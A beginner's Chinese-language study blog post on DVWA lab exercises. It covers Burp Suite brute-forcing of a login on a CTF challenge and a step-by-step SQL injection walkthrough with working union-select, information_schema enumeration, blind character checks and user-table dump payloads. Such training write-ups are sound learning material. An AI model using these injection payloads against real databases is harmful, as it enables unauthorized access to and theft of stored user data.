DVWA 笔记(1)

一,爆破
第一次接触暴力破解是在攻防世界web里面,题目是这样的:
DVWA 笔记(1)_第1张图片
打开场景DVWA 笔记(1)_第2张图片
利用burp对其进行爆破、
首先连接代理 对其进行抓包DVWA 笔记(1)_第3张图片DVWA 笔记(1)_第4张图片DVWA 笔记(1)_第5张图片
选择爆破类型DVWA 笔记(1)_第6张图片
这里是在网上找的大佬的字典
DVWA 笔记(1)_第7张图片
最后找出lenght值与其他不一样的 即为我们所需要的得到flag.
DVWA 笔记(1)_第8张图片
上面的题虽然是攻防世界的,但是与DVWA 的第一题同一种做法(类型体)
DVWA 笔记(1)_第9张图片
但是这道题却出现了问题:
DVWA 笔记(1)_第10张图片
在谷歌中抓不到本地包需要手动设置代理最后使用了火狐浏览器 设置了手动代理才成功抓到包DVWA 笔记(1)_第11张图片
做题步骤与上面一样我就不多说了。
二,SQL注入
通过前几次师傅的培训对这部分有所了解,但是能力还是远远不够
(随便试了个1就成了。。。。。。)再试个2 DVWA 笔记(1)_第12张图片发现到了5就到了结点处 5 以后的都不会出现结果(于是猜测,是否后台应用程序将此值看做了字符型)
DVWA 笔记(1)_第13张图片
输入英文字母也是没有什么反应。。。。。试试 标点符号
当输入 “ ’ ” 时发现在这里插入图片描述
这应该是其漏洞之处。
因为我对实在没什么思路,我只好上网求助师傅根据师傅的思路走下来。
测试查询信息列数。利用语句 order by num
这里我们输入 " 1’order by 1 – " 结果页面正常显示,注意-- 后面有空格。继续测试, " 1’order by 2 – ", " 1’order by 3 – ",
当输入3是,页面报错。页面错误信息如下, Unknown column ‘3’ in ‘order clause’,由此我们判断查询结果值为2列。
DVWA 笔记(1)_第14张图片
DVWA 笔记(1)_第15张图片
通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。

这里尝试注入 “ 1’ and 1=2 union select 1,2 – ”结果如下
1’ and 1=2 union select 1,2 –
DVWA 笔记(1)_第16张图片
1’ and 1=2 union select user(),database() –
DVWA 笔记(1)_第17张图片
发现连接该数据库的用户为 root@localhost ,数据库名称为dvwa

1’ and 1=2 union select version(),database() –
DVWA 笔记(1)_第18张图片
现在尝试获得系统信息

利用:1’and 1=2 union select 1,@@global.version_compile_os from mysql.user –
DVWA 笔记(1)_第19张图片
再输入 1’ and ord(mid(user(),1,1))=114 – 测试连接数据库权限
DVWA 笔记(1)_第20张图片
正常返回说明 为 root

查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
利用语句:1’ and 1=2 union select 1,schema_name from information_schema.schemata –
DVWA 笔记(1)_第21张图片
猜解dvwa数据库中的表名。 (根据师傅的提醒 users)
1’ and exists(select * from users) –
得到
DVWA 笔记(1)_第22张图片
猜解字段名:1’ and exists(select 表名 from users) – ,这里测试的字段名有first_name,last_name
1’ and exists(select first_name from users) –
DVWA 笔记(1)_第23张图片

1’ and exists(select last_name from users) –
DVWA 笔记(1)_第24张图片
最后是输入:
1’ and 1=2 union select first_name,last_name from users –
就会出现存放管理员账户的表
DVWA 笔记(1)_第25张图片

SQL 注入大部分还是根据师傅的思路走的,我自己还有很多不足,必须加油学习。

你可能感兴趣的:(萌新入坑)